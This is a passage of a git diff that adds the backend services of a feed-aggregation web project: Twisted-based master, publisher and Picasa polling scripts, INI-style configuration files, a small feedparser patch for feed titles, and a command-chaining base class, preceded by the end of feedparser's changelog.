+#3.0b5 - 1/26/2004 - MAP - fixed bug parsing multiple links at feed level
+#3.0b6 - 1/27/2004 - MAP - added feed type and version detection, result['version']
+#  will be one of SUPPORTED_VERSIONS.keys() or empty string if unrecognized;
+#  added support for creativeCommons:license and cc:license; added support for
+#  full Atom content model in title, tagline, info, copyright, summary; fixed bug
+#  with gzip encoding (not always telling server we support it when we do)
+#3.0b7 - 1/28/2004 - MAP - support Atom-style author element in author_detail
+#  (dictionary of 'name', 'url', 'email'); map author to author_detail if author
+#  contains name + email address
+#3.0b8 - 1/28/2004 - MAP - added support for contributor
+#3.0b9 - 1/29/2004 - MAP - fixed check for presence of dict function; added
+#  support for summary
+#3.0b10 - 1/31/2004 - MAP - incorporated ISO-8601 date parsing routines from
+#  xml.util.iso8601
+#3.0b11 - 2/2/2004 - MAP - added 'rights' to list of elements that can contain
+#  dangerous markup; fiddled with decodeEntities (not right); liberalized
+#  date parsing even further
+#3.0b12 - 2/6/2004 - MAP - fiddled with decodeEntities (still not right);
+#  added support to Atom 0.2 subtitle; added support for Atom content model
+#  in copyright; better sanitizing of dangerous HTML elements with end tags
+#  (script, frameset)
+#3.0b13 - 2/8/2004 - MAP - better handling of empty HTML tags (br, hr, img,
+#  etc.) in embedded markup, in either HTML or XHTML form (<br>, <br/>, <br />)
+#3.0b14 - 2/8/2004 - MAP - fixed CDATA handling in non-wellformed feeds under
+#  Python 2.1
+#3.0b15 - 2/11/2004 - MAP - fixed bug resolving relative links in wfw:commentRSS;
+#  fixed bug capturing author and contributor URL; fixed bug resolving relative
+#  links in author and contributor URL; fixed bug resolvin relative links in
+#  generator URL; added support for recognizing RSS 1.0; passed Simon Fell's
+#  namespace tests, and included them permanently in the test suite with his
+#  permission; fixed namespace handling under Python 2.1
+#3.0b16 - 2/12/2004 - MAP - fixed support for RSS 0.90 (broken in b15)
+#3.0b17 - 2/13/2004 - MAP - determine character encoding as per RFC 3023
+#3.0b18 - 2/17/2004 - MAP - always map description to summary_detail (Andrei);
+#  use libxml2 (if available)
+#3.0b19 - 3/15/2004 - MAP - fixed bug exploding author information when author
+#  name was in parentheses; removed ultra-problematic mxTidy support; patch to
+#  workaround crash in PyXML/expat when encountering invalid entities
+#  (MarkMoraes); support for textinput/textInput
+#3.0b20 - 4/7/2004 - MAP - added CDF support
+#3.0b21 - 4/14/2004 - MAP - added Hot RSS support
+#3.0b22 - 4/19/2004 - MAP - changed 'channel' to 'feed', 'item' to 'entries' in
+#  results dict; changed results dict to allow getting values with results.key
+#  as well as results[key]; work around embedded illformed HTML with half
+#  a DOCTYPE; work around malformed Content-Type header; if character encoding
+#  is wrong, try several common ones before falling back to regexes (if this
+#  works, bozo_exception is set to CharacterEncodingOverride); fixed character
+#  encoding issues in BaseHTMLProcessor by tracking encoding and converting
+#  from Unicode to raw strings before feeding data to sgmllib.SGMLParser;
+#  convert each value in results to Unicode (if possible), even if using
+#  regex-based parsing
+#3.0b23 - 4/21/2004 - MAP - fixed UnicodeDecodeError for feeds that contain
+#  high-bit characters in attributes in embedded HTML in description (thanks
+#  Thijs van de Vossen); moved guid, date, and date_parsed to mapped keys in
+#  FeedParserDict; tweaked FeedParserDict.has_key to return True if asking
+#  about a mapped key
+#3.0fc1 - 4/23/2004 - MAP - made results.entries[0].links[0] and
+#  results.entries[0].enclosures[0] into FeedParserDict; fixed typo that could
+#  cause the same encoding to be tried twice (even if it failed the first time);
+#  fixed DOCTYPE stripping when DOCTYPE contained entity declarations;
+#  better textinput and image tracking in illformed RSS 1.0 feeds
+#3.0fc2 - 5/10/2004 - MAP - added and passed Sam's amp tests; added and passed
+#  my blink tag tests
+#3.0fc3 - 6/18/2004 - MAP - fixed bug in _changeEncodingDeclaration that
+#  failed to parse utf-16 encoded feeds; made source into a FeedParserDict;
+#  duplicate admin:generatorAgent/@rdf:resource in generator_detail.url;
+#  added support for image; refactored parse() fallback logic to try other
+#  encodings if SAX parsing fails (previously it would only try other encodings
+#  if re-encoding failed); remove unichr madness in normalize_attrs now that
+#  we're properly tracking encoding in and out of BaseHTMLProcessor; set
+#  feed.language from root-level xml:lang; set entry.id from rdf:about;
+#  send Accept header
+#3.0 - 6/21/2004 - MAP - don't try iso-8859-1 (can't distinguish between
+#  iso-8859-1 and windows-1252 anyway, and most incorrectly marked feeds are
+#  windows-1252); fixed regression that could cause the same encoding to be
+#  tried twice (even if it failed the first time)
+#3.0.1 - 6/22/2004 - MAP - default to us-ascii for all text/* content types;
+#  recover from malformed content-type header parameter with no equals sign
+#  ('text/xml; charset:iso-8859-1')
+#3.1 - 6/28/2004 - MAP - added and passed tests for converting HTML entities
+#  to Unicode equivalents in illformed feeds (aaronsw); added and
+#  passed tests for converting character entities to Unicode equivalents
+#  in illformed feeds (aaronsw); test for valid parsers when setting
+#  XML_AVAILABLE; make version and encoding available when server returns
+#  a 304; add handlers parameter to pass arbitrary urllib2 handlers (like
+#  digest auth or proxy support); add code to parse username/password
+#  out of url and send as basic authentication; expose downloading-related
+#  exceptions in bozo_exception (aaronsw); added __contains__ method to
+#  FeedParserDict (aaronsw); added publisher_detail (aaronsw)
+#3.2 - 7/3/2004 - MAP - use cjkcodecs and iconv_codec if available; always
+#  convert feed to UTF-8 before passing to XML parser; completely revamped
+#  logic for determining character encoding and attempting XML parsing
+#  (much faster); increased default timeout to 20 seconds; test for presence
+#  of Location header on redirects; added tests for many alternate character
+#  encodings; support various EBCDIC encodings; support UTF-16BE and
+#  UTF16-LE with or without a BOM; support UTF-8 with a BOM; support
+#  UTF-32BE and UTF-32LE with or without a BOM; fixed crashing bug if no
+#  XML parsers are available; added support for 'Content-encoding: deflate';
+#  send blank 'Accept-encoding: ' header if neither gzip nor zlib modules
+#  are available
+#3.3 - 7/15/2004 - MAP - optimize EBCDIC to ASCII conversion; fix obscure
+#  problem tracking xml:base and xml:lang if element declares it, child
+#  doesn't, first grandchild redeclares it, and second grandchild doesn't;
+#  refactored date parsing; defined public registerDateHandler so callers
+#  can add support for additional date formats at runtime; added support
+#  for OnBlog, Nate, MSSQL, Greek, and Hungarian dates (ytrewq1); added
+#  zopeCompatibilityHack() which turns FeedParserDict into a regular
+#  dictionary, required for Zope compatibility, and also makes command-
+#  line debugging easier because pprint module formats real dictionaries
+#  better than dictionary-like objects; added NonXMLContentType exception,
+#  which is stored in bozo_exception when a feed is served with a non-XML
+#  media type such as 'text/plain'; respect Content-Language as default
+#  language if not xml:lang is present; cloud dict is now FeedParserDict;
+#  generator dict is now FeedParserDict; better tracking of xml:lang,
+#  including support for xml:lang='' to unset the current language;
+#  recognize RSS 1.0 feeds even when RSS 1.0 namespace is not the default
+#  namespace; don't overwrite final status on redirects (scenarios:
+#  redirecting to a URL that returns 304, redirecting to a URL that
+#  redirects to another URL with a different type of redirect); add
+#  support for HTTP 303 redirects
+#4.0 - MAP - support for relative URIs in xml:base attribute; fixed
+#  encoding issue with mxTidy (phopkins); preliminary support for RFC 3229;
+#  support for Atom 1.0; support for iTunes extensions; new 'tags' for
+#  categories/keywords/etc. as array of dict
+#  {'term': term, 'scheme': scheme, 'label': label} to match Atom 1.0
+#  terminology; parse RFC 822-style dates with no time; lots of other
+#  bug fixes
+#4.1 - MAP - removed socket timeout; added support for chardet library
diff --git a/master-dev.cfg b/master-dev.cfg
new file mode 100644 (file)
index 0000000..1f42c6a
--- /dev/null
@@ -0,0 +1,24 @@
+[controllers]
+servers=controller-1
+
+[controller-1]
+host=localhost
+port=11500
+
+[publishers]
+servers=publisher-1
+
+[publisher-1]
+host=localhost
+port=11600
+
+[db]
+host=localhost
+#user=user
+#passwd=passwd
+db=whoisi
+port=3306
+
+[refreshmanager]
+interval_min=60.0
+interval_sec=59.0
diff --git a/master-service b/master-service
new file mode 100755 (executable)
index 0000000..93c06e8
--- /dev/null
@@ -0,0 +1,141 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import reactor, task
+
+from services.master.worker import WorkManager, Command
+from services.master.database import DatabaseManager
+from services.master.sitelock import SiteLock
+from services.master.refreshmanager import RefreshManager
+from services.master.publisher import PublisherManager
+
+import services.config as config
+import sys, getopt
+
+class MasterService:
+    def __init__(self):
+        # Set up a poll timer so we don't miss any work
+        self.loop_tick = task.LoopingCall(self.pollTick)
+
+    def start(self, refresh=False, publish=False):
+        # Create the work manager that will drive the workers
+        self.work_manager = WorkManager()
+        self.work_manager.start()
+
+        # Fire up the database connection
+        self.database_manager = DatabaseManager(self)
+        self.database_manager.start()
+
+        # If we're refreshing then start the refresh manager
+        if refresh:
+            self.refresh_manager = RefreshManager(self)
+            self.refresh_manager.start()
+        else:
+            self.refresh_manager = None
+
+        # See if we're publishing updates
+        if publish:
+            self.publisher_manager = PublisherManager()
+            self.publisher_manager.start()
+        else:
+            self.publisher_manager = None
+
+        # Create the site lock object
+        self.site_lock = SiteLock()
+
+        # Start the poll timer.  Should tick every 5 seconds but we're
+        # leaving it down to 1 for debugging.
+        self.loop_tick.start(1.0)
+
+    def stop(self):
+        """
+        This method will tell the master service to stop.  It will
+        stop polling, close all of its connections to workers and
+        close the connection to the database and stop listening for
+        new jobs.
+        """
+        self.loop_tick.stop()
+        self.loop_tick = None
+        self.work_manager.stop()
+        self.work_manager = None
+
+    def pollTick(self):
+        print("Tick: %d:%d:%d workers (alive:connect:dead) %d:%d commands (working:waiting)" %
+              (len(self.work_manager.live_workers),
+               len(self.work_manager.connecting_workers),
+               len(self.work_manager.dead_workers),
+               self.work_manager.getNumCommandsWorking(),
+               len(self.work_manager.commands)))
+
+        self.work_manager.reviveDeadWorkers()
+        self.work_manager.dispatchCommands()
+        self.database_manager.getNewWork()
+        if self.refresh_manager:
+            self.refresh_manager.dispatchWork()
+        if self.publisher_manager:
+            self.publisher_manager.startConnecting()
+
+# command line handling
+def print_usage():
+    print("Usage: %s -c <configfile> [-r]" % sys.argv[0])
+    print("\t-c, --config=<configfile> - config file     (required)")
+    print("\t-r, --refresh - refresh sites automatically (optional)")
+    print("\t-p, --publish - publish updates             (optional)")
+    sys.exit(2)
+
+try:
+    opts, args = getopt.getopt(sys.argv[1:],
+                               "rpc:",
+                               ["refresh", "publish", "config="])
+except getopt.GetoptError:
+    print_usage()
+
+refresh = False
+publish = False
+config_file = None
+
+for o, a in opts:
+    if o in ("-r", "--refresh"):
+        refresh = True
+    if o in ("-p", "--publish"):
+        publish = True
+    if o in ("-c", "--config"):
+        config_file = a
+
+if config_file is None:
+    print_usage()
+
+try:
+    config.read(config_file)
+except Exception, e:
+    print("Failed to load config file %s at line %d" % (config_file, e.lineno))
+    print_usage()
+
+master = MasterService()
+master.start(refresh=refresh, publish=publish)
+
+# go, go, go
+reactor.run()
+
+
diff --git a/patches/README b/patches/README
new file mode 100644 (file)
index 0000000..2df2903
--- /dev/null
@@ -0,0 +1,6 @@
+o feedparser-title.patch
+
+Fix titles for feeds that contain <media:title>
+
+http://code.google.com/p/feedparser/issues/detail?id=18
+
diff --git a/patches/feedparser-title.patch b/patches/feedparser-title.patch
new file mode 100644 (file)
index 0000000..7de95cc
--- /dev/null
@@ -0,0 +1,32 @@
+--- /usr/lib/python2.5/site-packages/feedparser.py     2007-06-29 17:08:21.000000000 -0400
++++ localfeedparser.py 2008-03-11 21:42:13.000000000 -0400
+@@ -1186,8 +1186,12 @@
+     def _start_title(self, attrsD):
+         self.pushContent('title', attrsD, 'text/plain', self.infeed or self.inentry or self.insource)
+-    _start_dc_title = _start_title
+-    _start_media_title = _start_title
++
++    def _start_title_low_pri(self, attrsD):
++        if not self._getContext().has_key('title'):
++            self._start_title(attrsD)
++    _start_dc_title = _start_title_low_pri
++    _start_media_title = _start_title_low_pri
+     def _end_title(self):
+         value = self.popContent('title')
+@@ -1196,8 +1200,12 @@
+             context['textinput']['title'] = value
+         elif self.inimage:
+             context['image']['title'] = value
+-    _end_dc_title = _end_title
+-    _end_media_title = _end_title
++
++    def _end_title_low_pri(self):
++        if not self._getContext().has_key('title'):
++            self._end_title()
++    _end_dc_title = _end_title_low_pri
++    _end_media_title = _end_title_low_pri
+     def _start_description(self, attrsD):
+         context = self._getContext()
diff --git a/picasa-poll-service b/picasa-poll-service
new file mode 100755 (executable)
index 0000000..6a1e200
--- /dev/null
@@ -0,0 +1,82 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import stdio, reactor
+from services.protocol.childlistener import ChildListener
+from services.command.picasa import Picasa
+from gdata.photos.service import GooglePhotosException
+
+import simplejson
+import tempfile
+import os
+import sys
+import traceback
+
+class PicasaProtocol(ChildListener):
+    def runCommand(self, command, arg):
+        if command != "parse":
+            self.sendLine("bad command")
+            return
+
+        # argument is a username to poll for photos
+        user = arg
+
+        try:
+            tmpfd, tmpfilename = tempfile.mkstemp()
+            tmpfd = os.fdopen(tmpfd, "wb")
+        except:
+            self.sendLine("parse failed internal")
+            return
+
+        try:
+            data = Picasa().photoFeedForUser(user)
+            tmpfd.write(simplejson.dumps(data))
+        except GooglePhotosException, e:
+            message = { "body": e.body, "error_code": e.error_code, "message": e.message, "reason": e.reason }
+            tmpfd.write(simplejson.dumps(message))
+            self.sendLine("parse failed %s" % tmpfilename)
+            return
+        except:
+            traceback.print_exc(file=sys.stderr)
+            self.sendLine("parse failed internal")
+            return
+
+        self.sendLine("parse done %s" % tmpfilename)
+
+    def connectionLost(self, reason):
+        if (reactor.running):
+            reactor.stop()
+        ChildListener.connectionLost(self, reason)
+
+    def connectionMade(self):
+        self.sendLine("ready")
+        ChildListener.connectionMade(self)
+
+picasa_protocol = PicasaProtocol()
+
+stdioWrapper = stdio.StandardIO(picasa_protocol)
+
+# start accepting requests
+reactor.run()
+
diff --git a/prod.cfg b/prod.cfg
new file mode 100644 (file)
index 0000000..aa5c4e2
--- /dev/null
+++ b/prod.cfg
@@ -0,0 +1,77 @@
+[global]
+# This is where all of your settings go for your development environment
+# Settings that are the same for both development and production
+# (such as template engine, encodings, etc.) all go in 
+# whoisi/config/app.cfg
+
+# DATABASE
+
+# pick the form for your database
+# sqlobject.dburi="postgres://username@hostname/databasename"
+# sqlobject.dburi="mysql://username:password@hostname:port/databasename"
+# sqlobject.dburi="sqlite:///file_name_and_path"
+
+# If you have sqlite, here's a simple default to get you started
+# in development
+#sqlobject.dburi="sqlite://%(current_dir_uri)s/devdata.sqlite"
+sqlobject.dburi="mysql://user:passwd@localhost:3306/whoisi?charset=utf8"
+
+
+# if you are using a database or table type without transactions
+# (MySQL default, for example), you should turn off transactions
+# by prepending notrans_ on the uri
+# sqlobject.dburi="notrans_mysql://username:password@hostname:port/databasename"
+
+# for Windows users, sqlite URIs look like:
+# sqlobject.dburi="sqlite:///drive_letter:/path/to/file"
+
+# SERVER
+
+# Some server parameters that you may want to tweak
+# server.socket_port=8080
+
+# Enable the debug output at the end on pages.
+# log_debug_info_filter.on = False
+
+server.environment="production"
+autoreload.package="whoisi"
+
+# Auto-Reload after code modification
+autoreload.on = False
+
+# Set to True if you'd like to abort execution if a controller gets an
+# unexpected parameter. False by default
+tg.strict_parameters = True
+
+# Setup to handle incoming proxy requests from the apache proxy
+#server.webpath="http://whoisi.com"
+base_url_filter.on = True
+base_url_filter.use_x_forwarded_host = True
+base_url_filter.base_url = "http://whoisi.com/"
+server.socket_port=8080
+
+# replace this with your private recaptcha key
+# whoisi.recaptcha_private_key = ""
+
+# LOGGING
+# Logging configuration generally follows the style of the standard
+# Python logging module configuration. Note that when specifying
+# log format messages, you need to use *() for formatting variables.
+# Deployment independent log configuration is in whoisi/config/log.cfg
+[logging]
+
+[[loggers]]
+[[[whoisi]]]
+level='DEBUG'
+qualname='whoisi'
+handlers=['debug_out']
+
+[[[allinfo]]]
+level='INFO'
+handlers=['debug_out']
+
+[[[access]]]
+level='INFO'
+qualname='turbogears.access'
+handlers=['access_out']
+propagate=0
diff --git a/publisher-1.cfg b/publisher-1.cfg
new file mode 100644 (file)
index 0000000..7b22d1f
--- /dev/null
@@ -0,0 +1,13 @@
+[listen]
+port=11600
+
+[db]
+host=localhost
+#user=user
+#passwd=passwd
+db=whoisi
+port=3306
+
+[client-listen]
+port=11700
+
diff --git a/publisher-service b/publisher-service
new file mode 100755 (executable)
index 0000000..abde231
--- /dev/null
@@ -0,0 +1,145 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import reactor, task
+from twisted.spread import pb
+from services.command.database import DatabaseCommandManager
+from services.publisher.lookup import MasterLookupQueue
+from services.publisher.server import PublisherServerFactory
+from services.publisher.protocol import PublisherProtocol
+
+import sys, getopt
+import services.config as config
+
+import simplejson
+
+class PublisherService:
+    def __init__(self):
+        self.mlq = None
+        self.master = None
+        self.clients = []
+
+    def addClient(self, client):
+        print("adding client %d" % id(client))
+        self.clients.insert(0, client)
+
+    def removeClient(self, client):
+        print("removing client %d" % id(client))
+        self.clients.remove(client)
+
+    def newSiteHistory(self, site_history):
+        self.mlq.addItem(site_history)
+
+    def siteHistoryLookupDone(self, entry):
+        # for each of the clients that we have connected write the
+        # data
+        print("siteHistoryLookupDone %s" % entry)
+        d = simplejson.dumps(entry)
+        for i in self.clients:
+            if i.state == PublisherProtocol.STATE_FIREHOSE:
+                try:
+                    i.writeMsg(d)
+                except Exception, e:
+                    print "exception"
+                    print e
+
+class MasterConnectionController(pb.Root):
+    def __init__(self, ps):
+        self.ps = ps
+
+    def remote_newSite(self, site):
+        pass
+
+    def remote_newSiteHistory(self, site_history):
+        print("remote_newSiteHistory")
+        self.ps.newSiteHistory(site_history)
+
+# mysql service setup
+
+dcm = None
+
+def mysql_service_setup():
+    global dcm
+    connection_type = "MySQLdb"
+    connection_dict = dict(cp_reconnect=True,
+                           host=config.get("db", "host"),
+                           user=config.get("db", "user"),
+                           passwd=config.get("db", "passwd"),
+                           db=config.get("db", "db"),
+                           port=config.getint("db", "port"),
+                           charset="utf8")
+
+    dcm = DatabaseCommandManager()
+    dcm.start(connection_type, connection_dict)
+
+# command line handling
+def print_usage():
+    print("Usage: %s -c <configfile>" % sys.argv[0])
+    print("\t-c, --config=<configfile> - config file     (required)")
+    sys.exit(2)
+
+try:
+    opts, args = getopt.getopt(sys.argv[1:], "c:", ["config="])
+except getopt.GetoptError:
+    print_usage()
+
+config_file = None
+
+for o, a in opts:
+    if o in ("-c", "--config"):
+        config_file = a
+
+if config_file is None:
+    print_usage()
+
+try:
+    config.read(config_file)
+except Exception, e:
+    print("Failed to load config file %s at line %d" % (config_file, e.lineno))
+    print_usage()
+
+port = config.getint("listen", "port")
+client_port = config.getint("client-listen", "port")
+
+# set up the database
+mysql_service_setup()
+
+# Set up our main service that glues everything together
+ps = PublisherService()
+
+# Set up the lookup queue and connect it to the main service
+mlq = MasterLookupQueue(dcm, ps)
+ps.mlq = mlq
+
+# Set up our master connection controller and connect it to the main
+# service
+c = MasterConnectionController(ps)
+
+reactor.listenTCP(port, pb.PBServerFactory(c))
+print("listening for master updates on port %d" % port)
+
+reactor.listenTCP(client_port, PublisherServerFactory(ps))
+print("listening for client connections on port %d" % client_port)
+
+reactor.run()
diff --git a/runtests.sh b/runtests.sh
new file mode 100755 (executable)
index 0000000..08de179
--- /dev/null
@@ -0,0 +1,9 @@
+#!/bin/bash -x
+
+set -e
+
+# set RUN_LONG_TESTS=1 if you want to run some of the timeout tests
+
+nosetests -v tests/nose
+# we force the gc to run after all the tests or we get reactor errors
+trial --force-gc tests/twisted
diff --git a/sample-prod.cfg b/sample-prod.cfg
new file mode 100644 (file)
index 0000000..7c01b48
--- /dev/null
@@ -0,0 +1,84 @@
+[global]
+# This is where all of your settings go for your production environment.
+# You'll copy this file over to your production server and provide it
+# as a command-line option to your start script.
+# Settings that are the same for both development and production
+# (such as template engine, encodings, etc.) all go in 
+# whoisi/config/app.cfg
+
+# DATABASE
+
+# pick the form for your database
+# sqlobject.dburi="postgres://username@hostname/databasename"
+# sqlobject.dburi="mysql://username:password@hostname:port/databasename"
+# sqlobject.dburi="sqlite:///file_name_and_path"
+
+# If you have sqlite, here's a simple default to get you started
+# in development
+sqlobject.dburi="sqlite://%(current_dir_uri)s/devdata.sqlite"
+
+
+# if you are using a database or table type without transactions
+# (MySQL default, for example), you should turn off transactions
+# by prepending notrans_ on the uri
+# sqlobject.dburi="notrans_mysql://username:password@hostname:port/databasename"
+
+# for Windows users, sqlite URIs look like:
+# sqlobject.dburi="sqlite:///drive_letter:/path/to/file"
+
+
+# SERVER
+
+server.environment="production"
+
+# Sets the number of threads the server uses
+# server.thread_pool = 1
+
+# if this is part of a larger site, you can set the path
+# to the TurboGears instance here
+# server.webpath=""
+
+# Set to True if you are deploying your App behind a proxy
+# e.g. Apache using mod_proxy
+# base_url_filter.on = False
+
+# Set to True if your proxy adds the x_forwarded_host header
+# base_url_filter.use_x_forwarded_host = True
+
+# If your proxy does not add the x_forwarded_host header, set
+# the following to the *public* host url.
+# (Note: This will be overridden by the use_x_forwarded_host option
+# if it is set to True and the proxy adds the header correctly.
+# base_url_filter.base_url = "http://www.example.com"
+
+# Set to True if you'd like to abort execution if a controller gets an
+# unexpected parameter. False by default
+# tg.strict_parameters = False
+
+# LOGGING
+# Logging configuration generally follows the style of the standard
+# Python logging module configuration. Note that when specifying
+# log format messages, you need to use *() for formatting variables.
+# Deployment independent log configuration is in whoisi/config/log.cfg
+[logging]
+
+[[handlers]]
+
+[[[access_out]]]
+# set the filename as the first argument below
+args="('server.log',)"
+class='FileHandler'
+level='INFO'
+formatter='message_only'
+
+[[loggers]]
+[[[whoisi]]]
+level='ERROR'
+qualname='whoisi'
+handlers=['error_out']
+
+[[[access]]]
+level='INFO'
+qualname='turbogears.access'
+handlers=['access_out']
+propagate=0
diff --git a/services/__init__.py b/services/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/services/command/__init__.py b/services/command/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/services/command/base.py b/services/command/base.py
new file mode 100644 (file)
index 0000000..d6a6dc0
--- /dev/null
@@ -0,0 +1,169 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.python.failure import Failure
+from twisted.internet import defer
+
+import traceback
+
+class CommandManager:
+    """
+    This class manages the process for a single logical command.  For
+    example, the first pass to get a feed from a random URL has four
+    steps: download url, scrape html to get feeds, get the feed and
+    then summarize the feed.  This walks through each of those actions
+    and waits for them to complete.  Each command is made up of a
+    chain of commands and each piece of the chain is an element
+    derived from BaseCommand.  Subclass this class to add your own
+    chain of commands.
+
+    You should chain a set of actions together by setting the
+    .commands array in your subclass.  Each one will be called with
+    the signature of state, *args, **kw.  State is a dict that is
+    passed from command to command to pass out of band information.
+    Each command is run with the results of the previous commands.
+
+    If you want an error handler set as well, set .error_handler to a
+    function to be called.  That function will be called if any of the
+    commands either run their errback or if the doCommand call itself
+    returns an exception.
+
+    All errbacks should return a twisted.python.failure.Failure
+    """
+    def __init__(self):
+        """
+        Overried in each derived class.  The commands member is what
+        you want to overredi.  It's just an array of BaseCommand
+        objects that will be called in turn to process data and will
+        be chained together.
+        """
+        self.commands = []
+        self.d = None
+        self.error_handler = None
+        self.error_d = None
+        self.state = {}
+        self.deferred = None
+        self.command_pos = 0
+
+        # you can set this during testing to cause various kinds of errors
+        self.state["testfail"] = None
+
+    def doCommand(self, *args, **kw):
+        """
+        This function is the heart of command processing.  It returns
+        a deferred that lets you know when command processing has
+        completed or failed.  See each individual command 
+        """
+        self.d = defer.Deferred()
+        self.processCommands(*args, **kw)
+        return self.d
+
+    def processCommands(self, *args, **kw):
+        print("processing command (%d) %s" % (self.command_pos,
+                                              self.commands[self.command_pos].name))
+        print("  args %s" % str(args))
+        subc = self.commands[self.command_pos]
+        try:
+            subd = subc.doCommand(self.state, *args, **kw)
+        except Exception, e:
+            print("  exception raised from doCommand call")
+            self.subError(Failure(e))
+            return
+
+        subd.addCallback(self.subSuccess)
+        subd.addErrback(self.subError)
+
+    def subSuccess(self, *args, **kw):
+        print("  command finished normally, returned: %s" % args)
+
+        # If we're done call the main callback
+        if self.command_pos == (len(self.commands) - 1):
+            self.d.callback(*args, **kw)
+            return
+
+        # otherwise advance to the next command and continue
+        # processing
+        self.command_pos = self.command_pos + 1
+        self.processCommands(*args, **kw)
+
+    def subError(self, failure):
+        # oops, something went wrong.
+        print("  callback failed %s" % failure.getErrorMessage())
+        # if we have an error handler we will pass off control to it
+        # and let it process
+        if self.error_handler:
+            print("  passing to error handler")
+            try:
+                self.error_d = self.error_handler(self.state, failure)
+                self.error_d.addCallback(self.errorCallback)
+                self.error_d.addErrback(self.errorErrback)
+            except Exception, e:
+                self.d.errback(Failure(e))
+            return
+
+        # otherwise just pass it to the error handler
+        self.d.errback(failure)
+
+    def errorCallback(self, *args, **kw):
+        print("  error handler returned success")
+        self.d.callback(*args, **kw)
+
+    def errorErrback(self, failure):
+        print("  error handler returned failure %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+class BaseCommand:
+    """
+    This base class includes the base methods that are required to
+    make a particular command.  You can chain commands together, as
+    long as each one expects the input from the previous command's
+    output.
+    """
+    def __init__(self):
+        """
+        Override this to set your name.
+        """
+        self.name = "none"
+
+    def doCommand(self, state, *args, **kw):
+        """
+        Return a deferred method from this call that returns data
+        that's going to be useful to consumers.  state is an argument
+        that is a simple dictionary that is passed from command to
+        command and might be useful for passing along more than just
+        simple arguments.
+        """
